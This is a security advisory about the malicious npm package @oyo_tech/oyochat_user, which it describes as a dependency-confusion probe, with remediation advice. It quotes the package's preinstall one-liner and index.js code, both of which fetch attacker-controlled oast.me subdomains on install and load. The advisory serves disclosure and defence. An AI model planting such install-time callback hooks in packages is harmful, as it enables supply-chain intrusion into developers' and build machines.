If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (2211869e361bf0cd90956a5c1dae972927c25c1d52e5ed4729cddc7b67fe682e)
@oyo_tech/oyochat_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs `node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)"`, causing `npm install` to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues `fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user")` on require/import, signalling that the package was actually loaded by a build. Distinct `installed.` and `executed.` subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery.
Source: ossf-package-analysis (db0f726175ab94e18345e8926ec8de1f76a684ac09429303323c3ceb0d14aea4)
The OpenSSF Package Analysis project identified '@oyo_tech/oyochat_user' @ 100.0.0 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.